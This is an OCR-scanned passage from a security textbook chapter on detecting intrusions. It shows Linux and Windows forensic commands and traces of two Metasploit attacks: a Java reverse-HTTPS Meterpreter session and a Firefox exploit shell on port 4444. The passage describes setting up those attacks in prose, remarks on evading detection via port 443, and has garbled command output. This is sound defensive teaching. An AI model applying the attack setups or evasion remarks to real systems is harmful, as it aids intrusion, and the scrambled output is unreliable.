COMMAND  PID USER  FD TYPE DEVICE SIZE/OFF NODE NAME

sshd 4254 sgermain cwd DIR  253,1 4096 128 /

sshd 4254 sgermain rtd DIR  253,1 4096 128 /

sshd 4254 sgermain txt REG  253,1 815432 38281903 /usr/sbin/sshd
sshd 4254 sgermain DEL  REG 0,4 33868 /dev/zero

... Output Deleted ...

bash 4258 sgermain 255u  CHR 136,1 0to 4 /dev/pts/1
gedit 4343 sgermain cwd DIR 253,1 4096 19301951 /home/sgermain
gedit 4343 sgermain rtd DIR 253,1 4096 128 /

gedit 4343 sgermain txt REG 253,1 606176 19016217 /usr/bin/gedit
gedit 4343 sgermain mem REG 253,1 333632 50633441 /usr/share/font

... Output Deleted ...

Here the data shows that the user sgermain is apparently using gedit on PID 4343.

The /proc Directory

A great deal of information is available about a PID through the system’s /proc directory. That
directory contains subdirectories for each running PID. Consider the PID 4343 from the previous
example.

[root@girtab ~]# cd /proc/4343
[root@girtab 4343]# 1s

attr cpuset limits ns root syscall
autogroup cwd loginuid numa_maps sched task
auxv environ  maps oom_adj sessionid  uid map
cgroup exe mem oom_score smaps wchan
clear refs fd mountinfo oom_score adj stack

cmdline fdinfo mounts pagemap stat

comm gid map  mountstats personality statm
coredump_filter io net projid map status

The command line used to start the process is contained in /proc/4343/cmdline, where the
arguments are separated by null bytes. To show the complete command line, use cat with the -v
option to show the non-printing null characters.

[root@girtab 4343]# cat -v cmdline
gedit"@testdoc”@
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The file /proc/4343/cwd is a symbolic link pointing to the process’s current working directory.

[root@girtab 4343]# 1s -1 /proc/4343/cwd
lrwxrwxrwx. 1 sgermain sgermain O Feb 18 21:25 /proc/4343/cwd -> /home/sgermain

The link /proc/4343/exe points to the process’s executable.

[root@girtab 4343]# 1s -1 /proc/4343/exe
lrwxrwxrwx. 1 sgermain sgermain O Feb 18 21:25 /proc/4343/exe -> /usr/bin/gedit

The directory /proc/3355/fd contains symbolic links to the file descriptors opened by the
process.

[root@girtab 4343]# 1s -1 /proc/4343/fd

total 0

lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 0 -> /dev/pts/1

lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 1 -> /dev/pts/1

lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 10 -> anon_inode:[eventfd]
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 11 -> socket:[34963]
lr-x------ . 1 sgermain sgermain 64 Feb 18 21:20 12 -> anon_inode:inotify
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 13 -> anon_inode:[eventfd]
lr-x------ . 1 sgermain sgermain 64 Feb 18 21:20 14 -> /proc/4343/mounts
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:18 2 -> /dev/pts/1

lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 3 -> socket:[34830]
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 4 -> socket:[34900]
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 5 -> anon_inode:[eventfd]
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 6 -> anon_inode:[eventfd]
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 7 -> socket:[34942]
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 8 -> anon_inode:[eventfd]
lrwx------ . 1 sgermain sgermain 64 Feb 18 21:20 9 -> socket:[34954]

Detect: Java JAX-WS Remote Code Execution

Chapter 2 showed how to run the Java Applet JAX-WS Remote Code Execution attack against a
Linux target running Java 7. Configure and run the attack, say against a CentOS 6.0 64-bit system
running Firefox and Java 7 Update 0; for the payload use Java Meterpreter running through reverse
HTTPS, connecting back to the attacker on port 443. Interact with the target and start a shell.

After the successful attack, on the victim’s system, a check of logged-in users by root shows
nothing out of the ordinary; the who command shows

[root@sirius ~]# who
pfermat tty1 2014-07-31 12:13 (:0)
pfermat pts/0 2014-07-31 12:13 (:0.0)
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enoether pts/1 2014-07-31 13:15 (10.0.2.18)
pfermat pts/2 2014-07-31 14:12 (:0.0)

A check of the process list with ps aux shows little out of the ordinary, save for a few lines
near the end.

[root@sirius ~]# ps aux
USER PID %CPU %MEM VSZ RSS TTY  STAT START TIME COMMAND
root 1 0.0 0.1 19244 1372 ? Ss  12:12 0:00 /sbin/init

... Output Deleted ...

pfermat 3443 0.0 0.0 105356 828 pts/2 S+ 15:00 0:00 /usr/bin/less -is

pfermat 3521 0.0 4.3 1112392 44556 ? S1  15:16 0:01
/usr/java/jrel.7.0/bin/java -D__ jvm launched=11036

1076568 54544 ? SI  15:16 0:03
/usr/java/jre1l.7.0/bin/java -classpath /tmp/~spawn

pfermat 3578 0.1 5.

w

pfermat 3615 0.0 0.1 106012 1088 ? S 15:17 0:00 /bin/bash

pfermat 3640 0.0 0.1 106012 1160 ? S 15:18 0:00 /bin/bash

postfix 4012 0.0 0.2 62052 2680 ? S 15:33 0:00 pickup -1 -t fifo -u
root 4490 0.0 0.1 107968 1048 pts/0 R+ 15:50 0:00 ps aux

Here the combination of Java and Bash shells catches the eye. When ps --forest isrun to
make the relationships between processes more explicit, it becomes suspicious.

[root@sirius ~]# ps ax --forest

PID TTY STAT TIME COMMAND
2 2 S 0:00 [kthreadd]
3 7 S 0:00 \_[migration/o0]

... Output Deleted ...

3230 ? S 0:00 /bin/sh /usr/1ib64/firefox-3.6/run-mozilla.sh /usr
3257 ? S1 0:50 \_ /usr/lib64/firefox-3.6/firefox

3521 ? S1 0:01 \_ /usr/java/jre1l.7.0/bin/java -D__jvm_launch
3339 ? S 0:00 /usr/libexec/gvfsd-computer --spawner :1.7 /org/gt
3578 ? S1 0:03 /usr/java/jrel.7.0/bin/java -classpath /tmp/~spawn
3615 ? S 0:00 \_ /bin/bash

3640 ? S 0:00 \_ /bin/bash

This shows a Firefox process (3230) spawned a Java process (3521), which seems normal
enough. On the other hand, why is another Java process (3578) unrelated apparently to Firefox
spawning a pair of Bash shells? (3615, 3640)?

*The Bash shells that appear depend on the activities of the attacker.
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A check of the network connections with netstat shows

[root@sirius ~]# netstat -ant
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:47434 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 10.0.2.10:22 10.0.2.18:53059 ESTABLISHE
tcp 1 0 10.0.2.10:47326 184.29.105.107:80 CLOSE_WAIT
tcp 0 0 :::111 . LISTEN
tcp 0 0 :::22 ¥ LISTEN
tcp 0 0 ::1:631 Tk LISTEN
tcp 0 0 :::45348 Tick LISTEN
tep 38 0 ::ffff:10.0.2.10:47851 ::ffff:10.0.2.248:443 CLOSE_WAIT

The victim is located at 10.0.2.10, and the SSH connection to port 22 from 10.0.2.18
seen earlier is noted. Also noticed is what appears to be an HTTP connection to the site
184.29.105.107; a lookup of the IP address shows that it is named a184-29-105-107.deploy.
static.akamaitechnologies.com. Nothing in this suggests anything malicious, at least not yet.
On the other hand, the last line is perplexing - it appears to be using stateless translation between
IPv4 and IPv6 to connect to 10.0.2.248, yet the system is on a network that was not configured to
support IPv6.

A pair of 1sof commands are run, one to see what is happening on IPv4 and one on IPv6. The
command on IPv4 returns

[root@sirius ~]# lsof -ig
COMMAND PID USER  FD  TYPE DEVICE SIZE/OFF NODE NAME

rpcbind 1116 IpC 6u IPv4 10952 0to UDP *:sunrpc

rpcbind 1116 IpC 7u IPv4 10956 0to UDP *:867

rpcbind 1116 IpC 8u IPv4 10957 0to TCP *:sunrpc (LISTEN)
avahi-dae 1162 avahi 13u IPv4 11310 0to UDP *:mdns

avahi-dae 1162 avahi  14u IPv4 11311 0to UDP *:46358
rpc.statd 1199 rpcuser 5u IPv4 11533 0to UDP *:951

rpc.statd 1199 rpcuser 8u IPv4 11539 0to UDP *:45430
rpc.statd 1199 rpcuser 9u IPv4 11543 0to TCP *:47434 (LISTEN)
cupsd 1270 root 7u IPv4 11765 oto TCP

localhost.localdomain:ipp (LISTEN)

133



11768
12540
12735

29829

oto UDP *:ipp

oto TC
oto TC

P *:ssh (LISTEN)
P

localhost.localdomain:smtp (LISTEN)

oto TC
sirius.stars.

P
example:47326->a184-29-105-

107.deploy.static.akamaitechnologies.com:http (CLOSE_WAIT)

19562

oto TC

P

sirius.stars.example:ssh->10.0.2.18:53059 (ESTABLISHED)

CHAPTER 3  OPERATIONAL AWARENESS

cupsd 1270 root 9u IPv4
sshd 1505 root 3u IPv4
master 1581 root 12u IPv4
clock-app 2253 pfermat 21u IPv4
sshd 2538 root 3u IPv4
sshd 2543 enoether 3u IPv4

19562

oto TC

P

sirius.stars.example:ssh->10.0.2.18:53059 (ESTABLISHED)

This clarifies the role of the connection on port 80 to akamaitechnologies.com; it appears

related to the clock. The command on IPv6 returns

[root@sirius ~]# lsof -i6

COMMAND PID USER
rpcbind 1116 IpC
rpcbind 1116 IpC
rpcbind 1116 IpC
rpc.statd 1199 rpcuser
rpc.statd 1199 rpcuser
cupsd 1270 root
sshd 1505 root
java 3578 pfermat

FD
9u
10u
11u
10u
11u
6u

4u
11u

TYPE
IPv6
IPv6
IPv6
IPv6
IPv6
IPv6

IPv6
IPv6

DEVICE
10959
10961
10962
11547
11551
11764

12545
30835

SIZE/OFF NODE
oto UDP
oto UDP
oto TCP
oto UDP
oto TCP
oto TCP

sirius.

oto TCP
oto TCP

sirius.stars.example:40519->10

NAME

*:sunrpc

:867

:sunrpc (LISTEN)
138959

145348 (LISTEN)

B DR

stars.example:ipp (LISTEN)
*:ssh (LISTEN)

.0.2.248:https (CLOSE_WAIT)

This affirms that the connection out to 10.0.2.248 is suspicious, as 3578 is the Java PID that
already seemed out of the ordinary.
Run 1sof on the suspicious process (3578) and the two child processes (3615, 3640).

[root@sirius
COMMAND  PID
java 3578
java 3578
java 3578
java 3578
java 3578

~]# 1sof -p 3578

USER
pfermat
pfermat
pfermat

pfermat

pfermat

FD
cwd
rtd
txt

mem

mem

... Output Deleted ...
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TYPE
DIR
DIR
REG

REG

REG

DEVICE SIZE/O
253,0 40
253,0 40
253,0 76
253,0 1506
253,0 225

FF NODE NAME

96 783371 /home/pfermat
96 2/

22 12137

/usr/java/jre1l.7.0/bin/java
72 151350
/1ib64/1d-2.12.s0
36 151353
/1ib64/1ibdl-2.12.50



Jjava
java

Jjava
java

java
java

java

3578
3578

3578

3578

3578
3578

3578

pfermat
pfermat

pfermat
pfermat

pfermat
pfermat

pfermat
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9u unix oxffff880010100ccO 0to 27197 socket
10r REG 253,0 196220 12321
/usr/java/jre1l.7.0/1ib/ext/sunjce_provider.jar
11u IPv6 30941 oto TCP
sirius.stars.example:59888->10.0.2.248:https (CLOSE_WAIT)
12r REG 253,0 24427 407859

/tmp/jar_cache7965704024406646245.tmp (deleted)

13u unix Oxffff8800101006c0 0to 27206 socket

15r REG 253,0 38782 407860
/tmp/jar_cache1325341554883442176.tmp (deleted)

16w FIFO 0,8  0to 27252 pipe

... Output Deleted ...

Much of what is shown is standard; for example, Java libraries have been loaded into
memory. There is the IPv6 connection that appears to be running between IPv4 addresses;

there also appears to be a pair of deleted temporary files that were in /tmp that are named
jar_cache(long-number).tmp.
The results for the child PIDs 3615 and 3640 both are much smaller and show nothing of interest.

[root@sirius ~]# lsof -p 3640
COMMAND PID

bash
bash
bash
bash
bash
bash
bash
bash

bash

bash

bash
bash

3640
3640
3640
3640
3640
3640
3640
3640

3640
3640

3640
3640

USER
pfermat
pfermat
pfermat
pfermat
pfermat
pfermat
pfermat
pfermat

pfermat
pfermat

pfermat
pfermat

FD TYPE DEVICE SIZE/OFF NODE NAME
cwd  DIR 253,0 4096 783371 /home/pfermat
rtd DIR 253,0 4096 2/
txt REG 253,0 943248 653081 /bin/bash
mem REG 253,0 150672 151350 /1ib64/1d-2.12.s0
mem REG 253,0 22536 151353 /1ib64/1ibdl-2.12.s0
mem REG 253,0 1838296 151351 /1ib64/libc-2.12.s0
mem REG 253,0 138280 151385 /1ib64/libtinfo.so0.5.7
mem REG 253,0 99158752 1046749
/usr/lib/locale/locale-archive

mem REG 253,0 26050 1047005
/usr/1ib64/gconv/gconv-modules.cache
or FIFO 0,8 0to 27302 pipe
1w FIFO 0,8 0to 27303 pipe
2w FIFO 0,8 0to 27304 pipe

The command line for the two child PIDs are the same and similarly uninteresting.

[root@sirius ~]# cat -v /proc/3640/cmdline
/bin/bash”@
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However, the PID for the parent process tells us immediately that it is likely related to a

Metasploit attack.

[root@sirius ~]# cat -v /proc/3578/cmdline
/usr/java/jrel.7.0/bin/java”@-classpath®@/tmp/~spawn5215661374666879790.tmp.dir

“@metasploit.Payload”@

A check of the /tmp directory shows that the oddly named directory still exists, with a Java

class that should be analyzed in more detail.

[root@sirius tmp]# 1s -al -R /tmp/~spawn1963638874784095284.tmp.dir/
/tmp/~spawn1963638874784095284.tmp.dir/:

tota

dTWXTWXT-X.

112

3 pfermat pfermat 4096 Jul 31 15:16 .

drwxrwxrwt. 30 root

drWXTWXT-X.

root

4096 Aug 5 09:51 ..
2 pfermat pfermat 4096 Jul 31 15:16 metasploit

/tmp/~spawn1963638874784095284.tmp.dir/metasploit:

tota

112

drwxrwxr-x. 2 pfermat pfermat 4096 Jul 31 15:16 .
drwxrwxr-x. 3 pfermat pfermat 4096 Jul 31 15:16 .
1 pfermat pfermat 1309 Jul 31 15:16 PayloadTrustManager.class

“IW-IW-Y--.

A check of the files opened by this process shows a pair of deleted files.

[root@sirius ~]# 1s -1 /proc/3578/fd
total 0

. 1 pfermat
. 1 pfermat
. 1 pfermat

. 1 pfermat
. 1 pfermat

. 1 pfermat
. 1 pfermat

. 1 pfermat
. 1 pfermat
. 1 pfermat

pfermat
pfermat
pfermat

pfermat
pfermat

pfermat
pfermat

pfermat
pfermat
pfermat

64
64
64

64
64

64
64

64
64
64

Jul 31 15:16 0 -> pipe:[27173]

Jul 31 15:16 1 -> pipe:[27174]

Jul 31 15:23 10 ->
/usr/java/jre1l.7.0/1lib/ext/sunjce_provider.jar

Jul 31 15:23 11 -> socket:[31713]

Jul 31 15:23 12 ->
/tmp/jar_cache7965704024406646245.tmp (deleted)

Jul 31 15:23 13 -> socket:[27206]

Jul 31 15:23 15 ->
/tmp/jar_cache1325341554883442176.tmp (deleted)

Jul 31 15:23 16 -> pipe:[27252]

Jul 31 15:23 17 -> pipe:[27253]

Jul 31 15:23 18 -> pipe:[27302]
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lr-x------ . 1 pfermat pfermat 64 Jul 31 15:23 19 -> pipe:[27254]

1-wx------ . 1 pfermat pfermat 64 Jul 31 15:16 2 -> pipe:[27175]

lr-x------ . 1 pfermat pfermat 64 Jul 31 15:23 20 -> pipe:[27303]

lr-x------ . 1 pfermat pfermat 64 Jul 31 15:23 22 -> pipe:[27304]

1-wx------ . 1 pfermat pfermat 64 Jul 31 15:16 3 -> /usr/java/jrel.7.0/1lib/rt.jar
lr-x------ . 1 pfermat pfermat 64 Jul 31 15:16 4 -> /usr/java/jre1l.7.0/1lib/jsse.jar
lr-x------ . 1 pfermat pfermat 64 Jul 31 15:23 5 -> /dev/random

lr-x------ . 1 pfermat pfermat 64 Jul 31 15:16 6 -> /dev/urandom

lr-x------ . 1 pfermat pfermat 64 Jul 31 15:16 7 -> /usr/java/jrel.7.0/1lib/jce.jar
lr-x------ . 1 pfermat pfermat 64 Jul 31 15:16 8 ->

/usr/java/jre1l.7.0/1lib/ext/sunec.jar
lrwx------ . 1 pfermat pfermat 64 Jul 31 15:23 9 -> socket:[27197]

These are the same deleted files jar_cache(long-number).tmp noted earlier through 1sof.
Though the files have been deleted from their original location in /tmp, they can still be accessed
through the link in /proc. Copy these and the Java class noted earlier to a convenient location for
further analysis.

[root@sirius ~]# mkdir quarantine

[root@sirius quarantine]# cp /tmp/~spawn1963638874784095284.tmp.dir/metasploit/
PayloadTrustManager.class ./quarantine/

[root@sirius ~]# cp /proc/3578/fd/12 ./quarantine/sample_1
[root@sirius ~]# cp /proc/3578/fd/15 ./quarantine/sample_2
[root@sirius ~]# cd ./quarantine/

[root@sirius quarantine]# 1s -1

total 68

-IwW-r--r--. 1 root root 1309 Jul 31 16:40 PayloadTrustManager.class
-IwW-r--r--. 1 root root 24427 Jul 31 16:40 sample_1

-IW-I--r--. 1 root root 38782 Jul 31 16:40 sample_2

An attacker that writes files to a target system runs the risk that these files will be detected by
the defender, and subsequently analyzed.

Detect: Firefox XCS Code Execution

Chapter 2 showed how to attack Firefox directly with the Firefox 5.0 - 15.0.1 __exposedProps__
XCS Code Execution attack. Configure the attack using the default JavaScript XPCOM shell
running on the default port (TCP/4444) for the payload. Visit the malicious web page with a
vulnerable Ubuntu 12.04 desktop system using the vulnerable (and default) Firefox 14.0.1, and
obtain a session on the target.
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After the successful attack, listing the users on the system shows just the single logged-in user.

dhilbert@betelgeuse:~$ w

09:38:05 up 40 min, 2 users, load average: 0.00, 0.01, 0.05

USER TTY  FROM LOGIN@ IDLE 3JCPU PCPU WHAT

dhilbert tty7 08:57 40:13 7.96s 0.10s gnome-session --session=ubuntu
dhilbert pts/0 :0 09:01 0.00s 0.23s 0.00S w

A check of the process list with ps aux shows little out of the ordinary.

dhilbert@betelgeuse:~$ sudo ps aux

USER PID %CPU %MEM VSZ RSS TTY  STAT START  TIME COMMAND
root 1 0.0 0.1 3516 1980 ? Ss 08:57 0:00 /sbin/init
root 2 0.0 0.0 0 0? S 08:57 0:00 [kthreadd]

... Output Deleted ...

dhilbert 1757 0.2 6.4 380096 65980 ? S1 09:00 0:05
/usr/1lib/firefox/firefox
dhilbert 1775 0.0 0.3 36092 3936 ? S1 09:00 0:00
/usr/lib/at-spi2-core/at-spi-bus-launcher

dhilbert 1816 0.1 1.5 90012 16404 ? S1  09:01 0:03 gnome-terminal
dhilbert 1825 0.0 0.0 2384 756 ? S 09:01  0:00 gnome-pty-helper
dhilbert 1826 0.0 0.3 7204 3660 pts/0 Ss 09:01 0:00 bash

root 2129 0.0 0.0 0 0? S 09:30 0:00 [kworker/0:0]
root 2131 0.0 0.0 0 0? S 09:35 0:00 [kworker/0:2]
root 2135 0.0 0.0 0 0? S 09:40 0:00 [kworker/0:1]
root 2140 0.0 0.1 5808 1716 pts/0 S+ 09:45 0:00 sudo ps aux

root 2141 0.0 0.1 4928 1168 pts/0 R+ 09:45 0:00 ps aux

Checking with --forest also shows nothing unusual.

dhilbert@betelgeuse:~$ sudo ps ax --forest

PID TTY STAT START  TIME COMMAND
2? S 08:57 0:00 [kthreadd]
37 S  08:57 0:00 \_[ksoftirqd/o]

... Output Deleted ...

1757 ? S1  09:00 0:05 /usr/lib/firefox/firefox

1775 ? S1  09:00 0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
1816 ? S1 09:01 0:03 gnome-terminal

1825 ? S 09:01 0:00 \_ gnome-pty-helper
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1826 pts/o0 Ss 09:01 0:00 \_ bash
2157 pts/0 S+ 09:48 0:00 \_ sudo ps aux --forest
2158 pts/0 R+ 09:48 0:00 \_ ps aux --forest

Check the network connections with netstat.

dhilbert@betelgeuse:~$ sudo netstat -antp
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program

tcp 0 0 127.0.0.1:631  0.0.0.0:* LISTEN 767/cupsd

tcp 1 0 10.0.2.18:59813 91.189.89.144:80 CLOSE_WAIT
1567/ubuntu-geoip-p

tcp 0 0 10.0.2.18:59911 10.0 .2.249:4444 ESTABLISHED 1757/firefox

tcpb 0 0 ::1:631 tir¥ LISTEN 767/cupsd

The 1sof command includes the hostnames for the remote connections.

dhilbert@betelgeuse:~$ sudo lsof -iq
COMMAND PID USER FD  TYPE DEVICE SIZE/OFF NODE NAME

cupsd 767 root 9u IPv4 8063 0to TCP localhost:ipp (LISTEN)

avahi-dae 772 avahi 12u IPv4 8099 0t0 UDP *:mdns

avahi-dae 772 avahi 14u IPv4 8101 0t0 UDP *:55226

ubuntu-ge 1567 dhilbert 7u IPv4 11001 oto TCP
betelgeuse.local:59813->mistletoe.canonical.com:http (CLOSE_WAIT)

firefox 1757 dhilbert 57u IPv4 11954 oto TCP

betelgeuse.local:59911->10.0.2.249:4444 (ESTABLISHED)

There are two connections of interest. The first (1567) runs on HTTP and appears to be a
connection from a local Ubuntu named service to a host at Canonical, the makers of Ubuntu.
The second connection (1757) is much more suspicious; it is a browser making an outbound
connection to a host on TCP/4444, which is known to be the default port for many Metasploit
payloads.

A closer inspection of the Firefox process (1757) is clearly warranted. The 1sof command
shows a collection of libraries loaded into memory, access by Firefox to an SQLite database, and
the network connection.

dhilbert@betelgeuse:~$ sudo lsof -p 1757

1sof: WARNING: can't stat() fuse.gvfs-fuse-daemon file system /home/dhilbert/.gvfs
Output information may be incomplete.

COMMAND  PID USER FD  TYPE DEVICE SIZE/OFF NODE NAME

firefox 1757 dhilbert cwd DIR 8,1 4096 1058150 /home/dhilbert

firefox 1757 dhilbert rtd DIR 8,1 4096 2/
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firefox 1757 dhilbert txt REG 8,1 79304 656653
/usr/lib/firefox/firefox

firefox 1757 dhilbert mem REG 8,1 341072 1177869
/usr/share/fonts/truetype/ttf-dejavu/DejaVuSerif-Bold.ttf

firefox 1757 dhilbert mem REG 8,1 1360484 658045 /usr/1ib/i386-
linux-gnu/libxml2.s0.2.7.8
firefox 1757 dhilbert mem REG 8,1 333616 1177892
/usr/share/fonts/truetype/ubuntu-font-family/Ubuntu-B.ttf
firefox 1757 dhilbert mem REG 8,1 423508 656662

/usr/1lib/firefox/1libnssckbi.so
... Output Deleted ...

firefox 1757 dhilbert 50u REG 8,1 131200 1059576
/home/dhilbert/.mozilla/firefox/gmjvy063.default/places.sqlite-wal
firefox 1757 dhilbert 5iw FIFO 0,8 0to 13815 pipe
firefox 1757 dhilbert 53ur REG 8,1 425984 1059580
/home/dhilbert/.mozilla/firefox/gmjvy063.default/addons.sqlite
firefox 1757 dhilbert 54uw REG 8,1 425984 1058855
/home/dhilbert/.mozilla/firefox/gmjvy063.default/extensions.sqlite
firefox 1757 dhilbert 55u REG 8,1 262720 1060192 /home/dhilbert/
.mozilla/firefox/gmjvy063.default/extensions.sqlite-journal
firefox 1757 dhilbert 57u IPv4 11954 oto TCP
betelgeuse.local:59911->10.0.2.249:4444 (ESTABLISHED)

A check of the data in /proc for this process shows nothing unusual. For example, the process
was started with the default arguments

dhilbert@betelgeuse:~$ sudo cat -v /proc/1757/cmdline
/usr/lib/firefox/firefox"@

Although the process has 57 open file descriptors, nothing stands out; most of the opened
files are in the user’s Firefox configuration directory.

dhilbert@betelgeuse:~$ sudo 1ls -1 /proc/1757/%d
total 0
lr-x------ 1 dhilbert dhilbert 64 Aug 1 09:00 O -> /dev/null

... Output Deleted ...
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lr-x------ 1 dhilbert dhilbert 64 Aug 1 09:00 25 ->
/home/dhilbert/.mozilla/firefox/gmjvy063.default/permissions.sqlite
lr-x------ 1 dhilbert dhilbert 64 Aug 1 09:00 26 ->

/home/dhilbert/.mozilla/firefox/gmjvy063.default/downloads.sqlite
... Output Deleted ...

Because Firefox is a web browser, outbound network connections from it are expected. Had
the attacker selected a more appropriate port (e.g., TCP/443) for the payload, then the analysis
of the network connections would have shown nothing of interest. The JavaScript payload runs
within Firefox, so this attack created no new processes to arouse the suspicion of the defender.
This brief analysis of the Firefox process itself shows nothing out of the ordinary. Taken together,
this attack is much less detectable than the first example. On the other hand, the stealth comes
at a cost, as the attacker is trapped in the Firefox process. Once Firefox is terminated, the attacker
loses access to the system.

Windows Tools

As was the case for Linux systems, it is critical that Windows administrators can determine who is
logged on to a system.

Determining Users Logged On to the System

One way to determine the users logged on to a system is to use one of the tools from the Sysinternals
suite. The Windows Sysinternals Suite is a collection of 70 tools that are invaluable to a Windows
system administrator. The tools can be downloaded in a group from https://docs.microsoft.com/
en-us/sysinternals/downloads/sysinternals-suite; they can also be downloaded individually.

PsLoggedon
One useful Sysinternals tool is PsLoggedon, which lists the users currently logged on to a system.
C:\Users\Felix Klein>c:\SysinternalsSuite\psloggedon.exe /accepteula

PsLoggedon v1.34 - See who's logged on
Copyright (C) 2000-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

Users logged on locally:
8/2/2014 11:40:26 AM INTERAMNIA\Felix Klein

No one is logged on via resource shares.
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Most Sysinternals programs have an end-user license agreement that needs to be accepted
before the program will complete; the flag /accepteula accepts the agreement automatically.

Wmic Query to Determine Logged-0On Users

The built-in tool wmic can be used to list the currently logged-on users; run the query

C:\Users\Felix Klein>wmic computersystem get name, username
Name UserName
INTERAMNIA INTERAMNIA\Felix Klein

LogonSessions

The Sysinternals tool logonsessions, run as an administrator, lists the logon sessions on the system.
c:\SysinternalsSuite>logonsessions.exe /p /accepteula

LogonSessions v1.4 - Lists logon session information
Copyright (C) 2004-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

[0] Logon session 00000000:000003e7:
User name: PLUTO\DRAKE$
Auth package: Negotiate
Logon type:  (none)
Session: 0
Sid: S-1-5-18
Logon time:  3/21/2018 2:21:04 PM
Logon server:
DNS Domain:  pluto.test
UPN: DRAKE$@pluto.test
496: winlogon.exe
552: lsass.exe
612: svchost.exe
848: svchost.exe
932: svchost.exe
1164: VBoxService.exe
1552: spoolsv.exe
1748: svchost.exe
1816: svchost.exe
3640: SearchIndexer.exe
4556: SearchProtocolHost.exe
4628: SearchFilterHost.exe
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. Ouptput Deleted ...

[7] Logon session 00000000:00027176:

User name: PLUTO\gverdi
Auth package: Kerberos

Logon type: Interactive
Session: 1

Sid: S-1-5-21-2712758988-2974005575-3302443488-1118
Logon time:  3/21/2018 10:22:21 AM
Logon server: OORT
DNS Domain:  PLUTO.TEST
UPN: gverdi@pluto.test
2640: sihost.exe

2712: svchost.exe

2812: taskhostw.exe

2948: explorer.exe

2976: RuntimeBroker.exe

3296: ShellExperienceHost.exe
3464: SearchUI.exe

3940: backgroundTaskHost.exe
4048: VBoxTray.exe

2248: MSASCuil.exe

3832: backgroundTaskHost.exe
4008: backgroundTaskHost.exe
3304: SkypeHost.exe

4996: OneDrive.exe

[8] Logon session 00000000:0006477c:
User name: PLUTO\jbach
Auth package: Kerberos
Logon type: CachedInteractive
Session: 1
Sid: $-1-5-21-2712758988-2974005575-3302443488-1103
Logon time:  3/21/2018 10:23:50 AM
Logon server: OORT
DNS Domain:  PLUTO.TEST
UPN: jbach@pluto.test
4612: cmd.exe
4620: conhost.exe
5796: logonsessions.exe
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Here the /p switch provides information about the process(es) running in each session.
This program was run on the Windows 10-1607 system drake on the domain PLUTO; the non-
administrator user PLUTO\gverdi was logged on to the system. To run logonsessions.exe, that
user started an administrator command prompt as the domain administrator PLUTO\ jbach. The
computer account PLUTO\DRAKE$ is seen to have started the winlogon.exe process as well as
some services, including one for VirtualBox. The user PLUTO\gverdi is seen to be logged on to the
system and is running explorer.exe among other processes. The domain administrator PLUTO\
jbach has started a command prompt (4612) and run the logonsessions.exe program (5796).
Omitted from this output are the result from some service accounts.

Determining the State of the System

Just like on Linux, an administrator of a Windows system can examine the processes running on
the system as well as the system’s network connections.

Tasklist

The command tasklist lists the processes running on a Windows system, including their name
and PID.

C:\Users\Administrator>tasklist

Image Name PID Session Name Session# Mem Usage
System Idle Process 0 Services 0 20 K
System 4 Services 0 260 K
smss.exe 244 Services 0 948 K
CSISS.exe 340 Services 0 3,284 K
CSYSS.exe 404 Console 1 10,916 K
wininit.exe 412 Services 0 3,412 K
winlogon.exe 440 Console 1 5,372 K
services.exe 504 Services 0 6,228 K
lsass.exe 512 Services 0 7,928 K
svchost.exe 600 Services 0 7,180 K
VBoxService.exe 632 Services 0 4,680 K
svchost.exe 692 Services 0 5,052 K

... Output Deleted ...

Processes named svchost.exe are used to run Windows services. The list of running services
is available with the /svc flag.
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C:\Users\Administrator>tasklist /svc

Image Name PID Services

System Idle Process 0 N/A

System 4 N/A

smss.exe 244 N/A

CSISS.exe 340 N/A

CSTSS.exe 404 N/A

wininit.exe 412 N/A

winlogon.exe 440 N/A

services.exe 504 N/A

lsass.exe 512 SamSs

svchost.exe 600 BrokerInfrastructure, DcomLaunch, LSM,
PlugPlay, Power

VBoxService.exe 632 VBoxService

svchost.exe 692 RpcEptMapper, RpcSs

svchost.exe 764 Dhcp, Eventlog, lmhosts

dwm. exe 796 N/A

svchost.exe 840 gpsvc, iphlpsvc, LanmanServer, ProfSvc,
Schedule, SENS, ShellHWDetection, Themes,
Winmgmt

svchost.exe 872 EventSystem, FontCache, netprofm, nsi,
RemoteRegistry, WinHttpAutoProxySvc

svchost.exe 988 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc, WinRM

svchost.exe 744 BFE, DPS, MpsSvc

spoolsv.exe 1096 Spooler

svchost.exe 1144 TrkWks, UALSVC

... Output Deleted ...

Sc

Attackers have recognized the value of using svchost.exe as a cover for their malware; any process
named svchost.exe without corresponding Windows services should be treated as suspicious. The
sc command can be used to provide the description of a service.

To find the description of Trkiks from PID 1144 above, run

C:\Users\Administrator>sc qdescription Trkilks
[SC] QueryServiceConfig2 SUCCESS
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SERVICE _NAME: TrkWks
DESCRIPTION: Maintains links between NTFS files within a computer or across
computers in a network.

Extended information about the state of a service can be found with
C:\Users\Administrator>sc queryex Trkilks

SERVICE NAME: TrkWks
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)
SERVICE_EXIT CODE : 0 (0x0)

CHECKPOINT : 0X0
WAIT _HINT : 0x0
PID : 1144
FLAGS :

Task Manager

Windows Task Manager (Figure 3-1) displays the running processes in a graphical tool. It can be
